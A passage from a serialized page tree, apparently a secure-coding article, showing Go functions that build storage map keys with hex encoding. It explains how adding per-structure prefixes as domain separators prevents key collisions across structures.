positionNameEncoded",{"type":22,"tag":101,"props":90271,"children":90272},{"style":120},[90273],{"type":27,"value":179},{"type":22,"tag":101,"props":90275,"children":90276},{"class":103,"line":13117},[90277],{"type":22,"tag":101,"props":90278,"children":90279},{"style":120},[90280],{"type":27,"value":27917},{"type":22,"tag":101,"props":90282,"children":90283},{"class":103,"line":13223},[90284],{"type":22,"tag":101,"props":90285,"children":90286},{"style":120},[90287],{"type":27,"value":188},{"type":22,"tag":101,"props":90289,"children":90290},{"class":103,"line":27496},[90291],{"type":22,"tag":101,"props":90292,"children":90293},{"emptyLinePlaceholder":15},[90294],{"type":27,"value":1581},{"type":22,"tag":101,"props":90296,"children":90297},{"class":103,"line":27531},[90298],{"type":22,"tag":101,"props":90299,"children":90300},{"emptyLinePlaceholder":15},[90301],{"type":27,"value":1581},{"type":22,"tag":101,"props":90303,"children":90304},{"class":103,"line":27539},[90305,90309,90314],{"type":22,"tag":101,"props":90306,"children":90307},{"style":108},[90308],{"type":27,"value":79807},{"type":22,"tag":101,"props":90310,"children":90311},{"style":926},[90312],{"type":27,"value":90313}," AddressMapKey",{"type":22,"tag":101,"props":90315,"children":90316},{"style":120},[90317],{"type":27,"value":1850},{"type":22,"tag":101,"props":90319,"children":90320},{"class":103,"line":27547},[90321,90325,90329],{"type":22,"tag":101,"props":90322,"children":90323},{"style":126},[90324],{"type":27,"value":88754},{"type":22,"tag":101,"props":90326,"children":90327},{"style":114},[90328],{"type":27,"value":79928},{"type":22,"tag":101,"props":90330,"children":90331},{"style":120},[90332],{"type":27,"value":179},{"type":22,"tag":101,"props":90334,"children":90335},{"class":103,"line":27556},[90336,90340,90344,90349,90353],{"type":22,"tag":101,"props":90337,"children":90338},{"style":126},[90339],{"type":27,"value":88766},{"type":22,"tag":101,"props":90341,"children":90342},{"style":120},[90343],{"type":27,"value":758},{"type":22,"tag":101,"props":90345,"children":90346},{"style":126},[90347],{"type":27,"value":90348},"addressName",{"type":22,"tag":101,"props":90350,"children":90351},{"style":120},[90352],{"type":27,"value":79734},{"type":22,"tag":101,"props":90354,"children":90355},{"style":114},[90356],{"type":27,"value":87735},{"type":22,"tag":101,"props":90358,"children":90359},{"class":103,"line":27598},[90360,90364,90368,90372,90376],{"type":22,"tag":101,"props":90361,"children":90362},{"style":120},[90363],{"type":27,"value":79889},{"type":22,"tag":101,"props":90365,"children":90366},{"style":126},[90367],{"type":27,"value":75661},{"type":22,"tag":101,"props":90369,"children":90370},{"style":120},[90371],{"type":27,"value":79734},{"type":22,"tag":101,"props":90373,"children":90374},{"style":114},[90375],{"type":27,"value":88272},{"type":22,"tag":101,"props":90377,"children":90378},{"style":120},[90379],{"type":27,"value":1463},{"type":22,"tag":101,"props":90381,"children":90382},{"class":103,"line":27631},[90383,90387,90391,90395],{"type":22,"tag":101,"props":90384,"children":90385},{"style":126},[90386],{"type":27,"value":89368},{"type":22,"tag":101,"props":90388,"children":90389},{"style":166},[90390],{"type":27,"value":79923},{"type":22,"tag":101,"props":90392,"children":90393},{"style":926},[90394],{"type":27,"value":89071},{"type":22,"tag":101,"props":90396,"children":90397},{"style":120},[90398],{"type":27,"value":1850},{"type":22,"tag":101,"props":90400,"children":90401},{"class":103,"line":27639},[90402,90406,90410],{"type":22,"tag":101,"props":90403,"children":90404},{"style":120},[90405],{"type":27,"value":89962},{"type":22,"tag":101,"props":90407,"children":90408},{"style":114},[90409],{"type":27,"value":88272},{"type":22,"tag":101,"props":90411,"children":90412},{"style":120},[90413],{"type":27,"value":179},{"type":22,"tag":101,"props":90415,"children":90416},{"class":103,"line":27647},[90417,90421,90425,90429,90433,90437,90441,90445],{"type":22,"tag":101,"props":90418,"children":90419},{"style":126},[90420],{"type":27,"value":89978},{"type":22,"tag":101,"props":90422,"children":90423},{"style":120},[90424],{"type":27,"value":231},{"type":22,"tag":101,"props":90426,"children":90427},{"style":926},[90428],{"type":27,"value":89108},{"type":22,"tag":101,"props":90430,"children":90431},{"style":120},[90432],{"type":27,"value":980},{"type":22,"tag":101,"props":90434,"children":90435},{"style":926},[90436],{"type":27,"value":13147},{"type":22,"tag":101,"props":90438,"children":90439},{"style":120},[90440],{"type":27,"value":980},{"type":22,"tag":101,"props":90442,"children":90443},{"style":126},[90444],{"type":27,"value":88978},{"type":22,"tag":101,"props":90446,"children":90447},{"style":120},[90448],{"type":27,"value":89129},{"type":22,"tag":101,"props":90450,"children":90451},{"class":103,"line":27656},[90452],{"type":22,"tag":101,"props":90453,"children":90454},{"style":120},[90455],{"type":27,"value":27917},{"type":22,"tag":101,"props":90457,"children":90458},{"class":103,"line":27732},[90459,90463,90467,90471,90475,90479,90483,90487],{"type":22,"tag":101,"props":90460,"children":90461},{"style":126},[90462],{"type":27,"value":89099},{"type":22,"tag":101,"props":90464,"children":90465},{"style":120},[90466],{"type":27,"value":231},{"type":22,"tag":101,"props":90468,"children":90469},{"style":926},[90470],{"type":27,"value":89153},{"type":22,"tag":101,"props":90472,"children":90473},{"style":120},[90474],{"type":27,"value":980},{"type":22,"tag":101,"props":90476,"children":90477},{"style":126},[90478],{"type":27,"value":89062},{"type":22,"tag":101,"props":90480,"children":90481},{"style":120},[90482],{"type":27,"value":758},{"type":22,"tag":101,"props":90484,"children":90485},{"style":126},[90486],{"type":27,"value":88978},{"type":22,"tag":101,"props":90488,"children":90489},{"style":120},[90490],{"type":27,"value":2510},{"type":22,"tag":101,"props":90492,"children":90493},{"class":103,"line":27765},[90494],{"type":22,"tag":101,"props":90495,"children":90496},{"emptyLinePlaceholder":15},[90497],{"type":27,"value":1581},{"type":22,"tag":101,"props":90499,"children":90500},{"class":103,"line":27773},[90501,90506,90510,90514],{"type":22,"tag":101,"props":90502,"children":90503},{"style":126},[90504],{"type":27,"value":90505}," addressNameEncoded",{"type":22,"tag":101,"props":90507,"children":90508},{"style":166},[90509],{"type":27,"value":79923},{"type":22,"tag":101,"props":90511,"children":90512},{"style":926},[90513],{"type":27,"value":89071},{"type":22,"tag":101,"props":90515,"children":90516},{"style":120},[90517],{"type":27,"value":1850},{"type":22,"tag":101,"props":90519,"children":90520},{"class":103,"line":27781},[90521,90525,90529],{"type":22,"tag":101,"props":90522,"children":90523},{"style":120},[90524],{"type":27,"value":89962},{"type":22,"tag":101,"props":90526,"children":90527},{"style":114},[90528],{"type":27,"value":88272},{"type":22,"tag":101,"props":90530,"children":90531},{"style":120},[90532],{"type":27,"value":179},{"type":22,"tag":101,"props":90534,"children":90535},{"class":103,"line":27818},[90536,90540,90544,90548,90552,90556,90560,90564],{"type":22,"tag":101,"props":90537,"children":90538},{"style":126},[90539],{"type":27,"value":89978},{"type":22,"tag":101,"props":90541,"children":90542},{"style":120},[90543],{"type":27,"value":231},{"type":22,"tag":101,"props":90545,"children":90546},{"style":926},[90547],{"type":27,"value":89108},{"type":22,"tag":101,"props":90549,"children":90550},{"style":120},[90551],{"type":27,"value":980},{"type":22,"tag":101,"props":90553,"children":90554},{"style":926},[90555],{"type":27,"value":13147},{"type":22,"tag":101,"props":90557,"children":90558},{"style":120},[90559],{"type":27,"value":980},{"type":22,"tag":101,"props":90561,"children":90562},{"style":126},[90563],{"type":27,"value":90348},{"type":22,"tag":101,"props":90565,"children":90566},{"style":120},[90567],{"type":27,"value":89129},{"type":22,"tag":101,"props":90569,"children":90570},{"class":103,"line":27831},[90571],{"type":22,"tag":101,"props":90572,"children":90573},{"style":120},[90574],{"type":27,"value":27917},{"type":22,"tag":101,"props":90576,"children":90577},{"class":103,"line":27844},[90578,90582,90586,90590,90594,90599,90603,90607],{"type":22,"tag":101,"props":90579,"children":90580},{"style":126},[90581],{"type":27,"value":89099},{"type":22,"tag":101,"props":90583,"children":90584},{"style":120},[90585],{"type":27,"value":231},{"type":22,"tag":101,"props":90587,"children":90588},{"style":926},[90589],{"type":27,"value":89153},{"type":22,"tag":101,"props":90591,"children":90592},{"style":120},[90593],{"type":27,"value":980},{"type":22,"tag":101,"props":90595,"children":90596},{"style":126},[90597],{"type":27,"value":90598},"addressNameEncoded",{"type":22,"tag":101,"props":90600,"children":90601},{"style":120},[90602],{"type":27,"value":758},{"type":22,"tag":101,"props":90604,"children":90605},{"style":126},[90606],{"type":27,"value":90348},{"type":22,"tag":101,"props":90608,"children":90609},{"style":120},[90610],{"type":27,"value":2510},{"type":22,"tag":101,"props":90612,"children":90613},{"class":103,"line":27857},[90614],{"type":22,"tag":101,"props":90615,"children":90616},{"emptyLinePlaceholder":15},[90617],{"type":27,"value":1581},{"type":22,"tag":101,"props":90619,"children":90620},{"class":103,"line":27911},[90621,90625,90629,90633,90637,90641],{"type":22,"tag":101,"props":90622,"children":90623},{"style":126},[90624],{"type":27,"value":90182},{"type":22,"tag":101,"props":90626,"children":90627},{"style":166},[90628],{"type":27,"value":79923},{"type":22,"tag":101,"props":90630,"children":90631},{"style":126},[90632],{"type":27,"value":85741},{"type":22,"tag":101,"props":90634,"children":90635},{"style":120},[90636],{"type":27,"value":231},{"type":22,"tag":101,"props":90638,"children":90639},{"style":926},[90640],{"type":27,"value":88730},{"type":22,"tag":101,"props":90642,"children":90643},{"style":120},[90644],{"type":27,"value":1850},{"type":22,"tag":101,"props":90646,"children":90647},{"class":103,"line":27920},[90648,90652],{"type":22,"tag":101,"props":90649,"children":90650},{"style":6476},[90651],{"type":27,"value":90210},{"type":22,"tag":101,"props":90653,"children":90654},{"style":120},[90655],{"type":27,"value":179},{"type":22,"tag":101,"props":90657,"children":90658},{"class":103,"line":36277},[90659,90663],{"type":22,"tag":101,"props":90660,"children":90661},{"style":126},[90662],{"type":27,"value":90222},{"type":22,"tag":101,"props":90664,"children":90665},{"style":120},[90666],{"type":27,"value":179},{"type":22,"tag":101,"props":90668,"children":90669},{"class":103,"line":36298},[90670,90674],{"type":22,"tag":101,"props":90671,"children":90672},{"style":126},[90673],{"type":27,"value":90234},{"type":22,"tag":101,"props":90675,"children":90676},{"style":120},[90677],{"type":27,"value":179},{"type":22,"tag":101,"props":90679,"children":90680},{"class":103,"line":84458},[90681,90685],{"type":22,"tag":101,"props":90682,"children":90683},{"style":126},[90684],{"type":27,"value":90246},{"type":22,"tag":101,"props":90686,"children":90687},{"style":120},[90688],{"type":27,"value":179},{"type":22,"tag":101,"props":90690,"children":90691},{"class":103,"line":84471},[90692,90696],{"type":22,"tag":101,"props":90693,"children":90694},{"style":126},[90695],{"type":27,"value":90234},{"type":22,"tag":101,"props":90697,"children":90698},{"style":120},[90699],{"type":27,"value":179},{"type":22,"tag":101,"props":90701,"children":90702},{"class":103,"line":84479},[90703,90708],{"type":22,"tag":101,"props":90704,"children":90705},{"style":126},[90706],{"type":27,"value":90707}," addressNameEncoded",{"type":22,"tag":101,"props":90709,"children":90710},{"style":120},[90711],{"type":27,"value":179},{"type":22,"tag":101,"props":90713,"children":90714},{"class":103,"line":84487},[90715],{"type":22,"tag":101,"props":90716,"children":90717},{"style":120},[90718],{"type":27,"value":27917},{"type":22,"tag":101,"props":90720,"children":90721},{"class":103,"line":84495},[90722],{"type":22,"tag":101,"props":90723,"children":90724},{"style":120},[90725],{"type":27,"value":188},{"type":22,"tag":23,"props":90727,"children":90728},{},[90729,90731,90736],{"type":27,"value":90730},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":22,"tag":30,"props":90732,"children":90734},{"className":90733},[],[90735],{"type":27,"value":88484},{"type":27,"value":90737},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":22,"tag":91,"props":90739,"children":90741},{"code":90740},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[90742],{"type":22,"tag":30,"props":90743,"children":90744},{"__ignoreMap":7},[90745],{"type":27,"value":90740},{"type":22,"tag":23,"props":90747,"children":90748},{},[90749],{"type":27,"value":90750},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":22,"tag":91,"props":90752,"children":90754},{"code":90753,"language":79671,"meta":7,"className":79672,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[90755],{"type":22,"tag":30,"props":90756,"children":90757},{"__ignoreMap":7},[90758,90769,90784,90811,90836,90843,90850,90857,90872,90887,90914,90937,90956,90971,91006,91013,91048,91055,91074,91089,91124,91131,91166,91173,91200,91212,91224,91235,91246,91257,91268,91279,91286,91293,91300,91307,91322,91337,91364,91387,91406,91421,91456,91463,91498,91505,91524,91539,91574,91581,91616,91623,91650,91661,91673,91684,91695,91706,91717,91728,91736],{"type":22,"tag":101,"props":90759,"children":90760},{"class":103,"line":104},[90761,90765],{"type":22,"tag":101,"props":90762,"children":90763},{"style":108},[90764],{"type":27,"value":13660},{"type":22,"tag":101,"props":90766,"children":90767},{"style":120},[90768],{"type":27,"value":82073},{"type":22,"tag":101,"props":90770,"children":90771},{"class":103,"line":157},[90772,90776,90780],{"type":22,"tag":101,"props":90773,"children":90774},{"style":126},[90775],{"type":27,"value":88838},{"type":22,"tag":101,"props":90777,"children":90778},{"style":166},[90779],{"type":27,"value":960},{"type":22,"tag":101,"props":90781,"children":90782},{"style":6476},[90783],{"type":27,"value":88847},{"type":22,"tag":101,"props":90785,"children":90786},{"class":103,"line":182},[90787,90792,90796,90801,90806],{"type":22,"tag":101,"props":90788,"children":90789},{"style":126},[90790],{"type":27,"value":90791}," PositionMapPrefix",{"type":22,"tag":101,"props":90793,"children":90794},{"style":166},[90795],{"type":27,"value":960},{"type":22,"tag":101,"props":90797,"children":90798},{"style":6476},[90799],{"type":27,"value":90800}," \"",{"type":22,"tag":101,"props":90802,"children":90803},{"style":52370},[90804],{"type":27,"value":90805},"\\x01",{"type":22,"tag":101,"props":90807,"children":90808},{"style":6476},[90809],{"type":27,"value":90810},"\"\n",{"type":22,"tag":101,"props":90812,"children":90813},{"class":103,"line":367},[90814,90819,90823,90827,90832],{"type":22,"tag":101,"props":90815,"children":90816},{"style":126},[90817],{"type":27,"value":90818}," AddressMapPrefix",{"type":22,"tag":101,"props":90820,"children":90821},{"style":166},[90822],{"type":27,"value":960},{"type":22,"tag":101,"props":90824,"children":90825},{"style":6476},[90826],{"type":27,"value":90800},{"type":22,"tag":101,"props":90828,"children":90829},{"style":52370},[90830],{"type":27,"value":90831},"\\x02",{"type":22,"tag":101,"props":90833,"children":90834},{"style":6476},[90835],{"type":27,"value":90810},{"type":22,"tag":101,"props":90837,"children":90838},{"class":103,"line":398},[90839],{"type":22,"tag":101,"props":90840,"children":90841},{"style":120},[90842],{"type":27,"value":2510},{"type":22,"tag":101,"props":90844,"children":90845},{"class":103,"line":428},[90846],{"type":22,"tag":101,"props":90847,"children":90848},{"emptyLinePlaceholder":15},[90849],{"type":27,"value":1581},{"type":22,"tag":101,"props":90851,"children":90852},{"class":103,"line":997},[90853],{"type":22,"tag":101,"props":90854,"children":90855},{"emptyLinePlaceholder":15},[90856],{"type":27,"value":1581},{"type":22,"tag":101,"props":90858,"children":90859},{"class":103,"line":1032},[90860,90864,90868],{"type":22,"tag":101,"props":90861,"children":90862},{"style":108},[90863],{"type":27,"value":79807},{"type":22,"tag":101,"props":90865,"children":90866},{"style":926},[90867],{"type":27,"value":89866},{"type":22,"tag":101,"props":90869,"children":90870},{"style":120},[90871],{"type":27,"value":1850},{"type":22,"tag":101,"props":90873,"children":90874},{"class":103,"line":1063},[90875,90879,90883],{"type":22,"tag":101,"props":90876,"children":90877},{"style":126},[90878],{"type":27,"value":88754},{"type":22,"tag":101,"props":90880,"children":90881},{"style":114},[90882],{"type":27,"value":79928},{"type":22,"tag":101,"props":90884,"children":90885},{"style":120},[90886],{"type":27,"value":179},{"type":22,"tag":101,"props":90888,"children":90889},{"class":103,"line":1071},[90890,90894,90898,90902,90906,90910],{"type":22,"tag":101,"props":90891,"children":90892},{"style":126},[90893],{"type":27,"value":88766},{"type":22,"tag":101,"props":90895,"children":90896},{"style":120},[90897],{"type":27,"value":758},{"type":22,"tag":101,"props":90899,"children":90900},{"style":126},[90901],{"type":27,"value":89247},{"type":22,"tag":101,"props":90903,"children":90904},{"style":120},[90905],{"type":27,"value":79734},{"type":22,"tag":101,"props":90907,"children":90908},{"style":114},[90909],{"type":27,"value":88272},{"type":22,"tag":101,"props":90911,"children":90912},{"style":120},[90913],{"type":27,"value":179},{"type":22,"tag":101,"props":90915,"children":90916},{"class":103,"line":1110},[90917,90921,90925,90929,90933],{"type":22,"tag":101,"props":90918,"children":90919},{"style":120},[90920],{"type":27,"value":79889},{"type":22,"tag":101,"props":90922,"children":90923},{"style":126},[90924],{"type":27,"value":75661},{"type":22,"tag":101,"props":90926,"children":90927},{"style":120},[90928],{"type":27,"value":79734},{"type":22,"tag":101,"props":90930,"children":90931},{"style":114},[90932],{"type":27,"value":88272},{"type":22,"tag":101,"props":90934,"children":90935},{"style":120},[90936],{"type":27,"value":1463},{"type":22,"tag":101,"props":90938,"children":90939},{"class":103,"line":1118},[90940,90944,90948,90952],{"type":22,"tag":101,"props":90941,"children":90942},{"style":126},[90943],{"type":27,"value":89368},{"type":22,"tag":101,"props":90945,"children":90946},{"style":166},[90947],{"type":27,"value":79923},{"type":22,"tag":101,"props":90949,"children":90950},{"style":926},[90951],{"type":27,"value":89071},{"type":22,"tag":101,"props":90953,"children":90954},{"style":120},[90955],{"type":27,"value":1850},{"type":22,"tag":101,"props":90957,"children":90958},{"class":103,"line":1158},[90959,90963,90967],{"type":22,"tag":101,"props":90960,"children":90961},{"style":120},[90962],{"type":27,"value":89962},{"type":22,"tag":101,"props":90964,"children":90965},{"style":114},[90966],{"type":27,"value":88272},{"type":22,"tag":101,"props":90968,"children":90969},{"style":120},[90970],{"type":27,"value":179},{"type":22,"tag":101,"props":90972,"children":90973},{"class":103,"line":1166},[90974,90978,90982,90986,90990,90994,90998,91002],{"type":22,"tag":101,"props":90975,"children":90976},{"style":126},[90977],{"type":27,"value":89978},{"type":22,"tag":101,"props":90979,"children":90980},{"style":120},[90981],{"type":27,"value":231},{"type":22,"tag":101,"props":90983,"children":90984},{"style":926},[90985],{"type":27,"value":89108},{"type":22,"tag":101,"props":90987,"children":90988},{"style":120},[90989],{"type":27,"value":980},{"type":22,"tag":101,"props":90991,"children":90992},{"style":926},[90993],{"type":27,"value":13147},{"type":22,"tag":101,"props":90995,"children":90996},{"style":120},[90997],{"type":27,"value":980},{"type":22,"tag":101,"props":90999,"children":91000},{"style":126},[91001],{"type":27,"value":88978},{"type":22,"tag":101,"props":91003,"children":91004},{"style":120},[91005],{"type":27,"value":89129},{"type":22,"tag":101,"props":91007,"children":91008},{"class":103,"line":1215},[91009],{"type":22,"tag":101,"props":91010,"children":91011},{"style":120},[91012],{"type":27,"value":27917},{"type":22,"tag":101,"props":91014,"children":91015},{"class":103,"line":2425},[91016,91020,91024,91028,91032,91036,91040,91044],{"type":22,"tag":101,"props":91017,"children":91018},{"style":126},[91019],{"type":27,"value":89099},{"type":22,"tag":101,"props":91021,"children":91022},{"style":120},[91023],{"type":27,"value":231},{"type":22,"tag":101,"props":91025,"children":91026},{"style":926},[91027],{"type":27,"value":89153},{"type":22,"tag":101,"props":91029,"children":91030},{"style":120},[91031],{"type":27,"value":980},{"type":22,"tag":101,"props":91033,"children":91034},{"style":126},[91035],{"type":27,"value":89062},{"type":22,"tag":101,"props":91037,"children":91038},{"style":120},[91039],{"type":27,"value":758},{"type":22,"tag":101,"props":91041,"children":91042},{"style":126},[91043],{"type":27,"value":88978},{"type":22,"tag":101,"props":91045,"children":91046},{"style":120},[91047],{"type":27,"value":2510},{"type":22,"tag":101,"props":91049,"children":91050},{"class":103,"line":5417},[91051],{"type":22,"tag":101,"props":91052,"children":91053},{"emptyLinePlaceholder":15},[91054],{"type":27,"value":1581},{"type":22,"tag":101,"props":91056,"children":91057},{"class":103,"line":7714},[91058,91062,91066,91070],{"type":22,"tag":101,"props":91059,"children":91060},{"style":126},[91061],{"type":27,"value":90063},{"type":22,"tag":101,"props":91063,"children":91064},{"style":166},[91065],{"type":27,"value":79923},{"type":22,"tag":101,"props":91067,"children":91068},{"style":926},[91069],{"type":27,"value":89071},{"type":22,"tag":101,"props":91071,"children":91072},{"style":120},[91073],{"type":27,"value":1850},{"type":22,"tag":101,"props":91075,"children":91076},{"class":103,"line":7723},[91077,91081,91085],{"type":22,"tag":101,"props":91078,"children":91079},{"style":120},[91080],{"type":27,"value":89962},{"type":22,"tag":101,"props":91082,"children":91083},{"style":114},[91084],{"type":27,"value":88272},{"type":22,"tag":101,"props":91086,"children":91087},{"style":120},[91088],{"type":27,"value":179},{"type":22,"tag":101,"props":91090,"children":91091},{"class":103,"line":7791},[91092,91096,91100,91104,91108,91112,91116,91120],{"type":22,"tag":101,"props":91093,"children":91094},{"style":126},[91095],{"type":27,"value":89978},{"type":22,"tag":101,"props":91097,"children":91098},{"style":120},[91099],{"type":27,"value":231},{"type":22,"tag":101,"props":91101,"children":91102},{"style":926},[91103],{"type":27,"value":89108},{"type":22,"tag":101,"props":91105,"children":91106},{"style":120},[91107],{"type":27,"value":980},{"type":22,"tag":101,"props":91109,"children":91110},{"style":926},[91111],{"type":27,"value":13147},{"type":22,"tag":101,"props":91113,"children":91114},{"style":120},[91115],{"type":27,"value":980},{"type":22,"tag":101,"props":91117,"children":91118},{"style":126},[91119],{"type":27,"value":89247},{"type":22,"tag":101,"props":91121,"children":91122},{"style":120},[91123],{"type":27,"value":89129},{"type":22,"tag":101,"props":91125,"children":91126},{"class":103,"line":7799},[91127],{"type":22,"tag":101,"props":91128,"children":91129},{"style":120},[91130],{"type":27,"value":27917},{"type":22,"tag":101,"props":91132,"children":91133},{"class":103,"line":7829},[91134,91138,91142,91146,91150,91154,91158,91162],{"type":22,"tag":101,"props":91135,"children":91136},{"style":126},[91137],{"type":27,"value":89099},{"type":22,"tag":101,"props":91139,"children":91140},{"style":120},[91141],{"type":27,"value":231},{"type":22,"tag":101,"props":91143,"children":91144},{"style":926},[91145],{"type":27,"value":89153},{"type":22,"tag":101,"props":91147,"children":91148},{"style":120},[91149],{"type":27,"value":980},{"type":22,"tag":101,"props":91151,"children":91152},{"style":126},[91153],{"type":27,"value":89188},{"type":22,"tag":101,"props":91155,"children":91156},{"style":120},[91157],{"type":27,"value":758},{"type":22,"tag":101,"props":91159,"children":91160},{"style":126},[91161],{"type":27,"value":89247},{"type":22,"tag":101,"props":91163,"children":91164},{"style":120},[91165],{"type":27,"value":2510},{"type":22,"tag":101,"props":91167,"children":91168},{"class":103,"line":7837},[91169],{"type":22,"tag":101,"props":91170,"children":91171},{"emptyLinePlaceholder":15},[91172],{"type":27,"value":1581},{"type":22,"tag":101,"props":91174,"children":91175},{"class":103,"line":7868},[91176,91180,91184,91188,91192,91196],{"type":22,"tag":101,"props":91177,"children":91178},{"style":126},[91179],{"type":27,"value":90182},{"type":22,"tag":101,"props":91181,"children":91182},{"style":166},[91183],{"type":27,"value":79923},{"type":22,"tag":101,"props":91185,"children":91186},{"style":126},[91187],{"type":27,"value":85741},{"type":22,"tag":101,"props":91189,"children":91190},{"style":120},[91191],{"type":27,"value":231},{"type":22,"tag":101,"props":91193,"children":91194},{"style":926},[91195],{"type":27,"value":88730},{"type":22,"tag":101,"props":91197,"children":91198},{"style":120},[91199],{"type":27,"value":1850},{"type":22,"tag":101,"props":91201,"children":91202},{"class":103,"line":7876},[91203,91208],{"type":22,"tag":101,"props":91204,"children":91205},{"style":6476},[91206],{"type":27,"value":91207}," \"%s%d%s%s%s%s\"",{"type":22,"tag":101,"props":91209,"children":91210},{"style":120},[91211],{"type":27,"value":179},{"type":22,"tag":101,"props":91213,"children":91214},{"class":103,"line":7936},[91215,91220],{"type":22,"tag":101,"props":91216,"children":91217},{"style":126},[91218],{"type":27,"value":91219}," PositionMapPrefix",{"type":22,"tag":101,"props":91221,"children":91222},{"style":120},[91223],{"type":27,"value":179},{"type":22,"tag":101,"props":91225,"children":91226},{"class":103,"line":13054},[91227,91231],{"type":22,"tag":101,"props":91228,"children":91229},{"style":126},[91230],{"type":27,"value":90222},{"type":22,"tag":101,"props":91232,"children":91233},{"style":120},[91234],{"type":27,"value":179},{"type":22,"tag":101,"props":91236,"children":91237},{"class":103,"line":13072},[91238,91242],{"type":22,"tag":101,"props":91239,"children":91240},{"style":126},[91241],{"type":27,"value":90234},{"type":22,"tag":101,"props":91243,"children":91244},{"style":120},[91245],{"type":27,"value":179},{"type":22,"tag":101,"props":91247,"children":91248},{"class":103,"line":13117},[91249,91253],{"type":22,"tag":101,"props":91250,"children":91251},{"style":126},[91252],{"type":27,"value":90246},{"type":22,"tag":101,"props":91254,"children":91255},{"style":120},[91256],{"type":27,"value":179},{"type":22,"tag":101,"props":91258,"children":91259},{"class":103,"line":13223},[91260,91264],{"type":22,"tag":101,"props":91261,"children":91262},{"style":126},[91263],{"type":27,"value":90234},{"type":22,"tag":101,"props":91265,"children":91266},{"style":120},[91267],{"type":27,"value":179},{"type":22,"tag":101,"props":91269,"children":91270},{"class":103,"line":27496},[91271,91275],{"type":22,"tag":101,"props":91272,"children":91273},{"style":126},[91274],{"type":27,"value":90269},{"type":22,"tag":101,"props":91276,"children":91277},{"style":120},[91278],{"type":27,"value":179},{"type":22,"tag":101,"props":91280,"children":91281},{"class":103,"line":27531},[91282],{"type":22,"tag":101,"props":91283,"children":91284},{"style":120},[91285],{"type":27,"value":27917},{"type":22,"tag":101,"props":91287,"children":91288},{"class":103,"line":27539},[91289],{"type":22,"tag":101,"props":91290,"children":91291},{"style":120},[91292],{"type":27,"value":188},{"type":22,"tag":101,"props":91294,"children":91295},{"class":103,"line":27547},[91296],{"type":22,"tag":101,"props":91297,"children":91298},{"emptyLinePlaceholder":15},[91299],{"type":27,"value":1581},{"type":22,"tag":101,"props":91301,"children":91302},{"class":103,"line":27556},[91303],{"type":22,"tag":101,"props":91304,"children":91305},{"emptyLinePlaceholder":15},[91306],{"type":27,"value":1581},{"type":22,"tag":101,"props":91308,"children":91309},{"class":103,"line":27598},[91310,91314,91318],{"type":22,"tag":101,"props":91311,"children":91312},{"style":108},[91313],{"type":27,"value":79807},{"type":22,"tag":101,"props":91315,"children":91316},{"style":926},[91317],{"type":27,"value":90313},{"type":22,"tag":101,"props":91319,"children":91320},{"style":120},[91321],{"type":27,"value":1850},{"type":22,"tag":101,"props":91323,"children":91324},{"class":103,"line":27631},[91325,91329,91333],{"type":22,"tag":101,"props":91326,"children":91327},{"style":126},[91328],{"type":27,"value":88754},{"type":22,"tag":101,"props":91330,"children":91331},{"style":114},[91332],{"type":27,"value":79928},{"type":22,"tag":101,"props":91334,"children":91335},{"style":120},[91336],{"type":27,"value":179},{"type":22,"tag":101,"props":91338,"children":91339},{"class":103,"line":27639},[91340,91344,91348,91352,91356,91360],{"type":22,"tag":101,"props":91341,"children":91342},{"style":126},[91343],{"type":27,"value":88766},{"type":22,"tag":101,"props":91345,"children":91346},{"style":120},[91347],{"type":27,"value":758},{"type":22,"tag":101,"props":91349,"children":91350},{"style":126},[91351],{"type":27,"value":90348},{"type":22,"tag":101,"props":91353,"children":91354},{"style":120},[91355],{"type":27,"value":79734},{"type":22,"tag":101,"props":91357,"children":91358},{"style":114},[91359],{"type":27,"value":88272},{"type":22,"tag":101,"props":91361,"children":91362},{"style":120},[91363],{"type":27,"value":179},{"type":22,"tag":101,"props":91365,"children":91366},{"class":103,"line":27647},[91367,91371,91375,91379,91383],{"type":22,"tag":101,"props":91368,"children":91369},{"style":120},[91370],{"type":27,"value":79889},{"type":22,"tag":101,"props":91372,"children":91373},{"style":126},[91374],{"type":27,"value":75661},{"type":22,"tag":101,"props":91376,"children":91377},{"style":120},[91378],{"type":27,"value":79734},{"type":22,"tag":101,"props":91380,"children":91381},{"style":114},[91382],{"type":27,"value":88272},{"type":22,"tag":101,"props":91384,"children":91385},{"style":120},[91386],{"type":27,"value":1463},{"type":22,"tag":101,"props":91388,"children":91389},{"class":103,"line":27656},[91390,91394,91398,91402],{"type":22,"tag":101,"props":91391,"children":91392},{"style":126},[91393],{"type":27,"value":89368},{"type":22,"tag":101,"props":91395,"children":91396},{"style":166},[91397],{"type":27,"value":79923},{"type":22,"tag":101,"props":91399,"children":91400},{"style":926},[91401],{"type":27,"value":89071},{"type":22,"tag":101,"props":91403,"children":91404},{"style":120},[91405],{"type":27,"value":1850},{"type":22,"tag":101,"props":91407,"children":91408},{"class":103,"line":27732},[91409,91413,91417],{"type":22,"tag":101,"props":91410,"children":91411},{"style":120},[91412],{"type":27,"value":89962},{"type":22,"tag":101,"props":91414,"children":91415},{"style":114},[91416],{"type":27,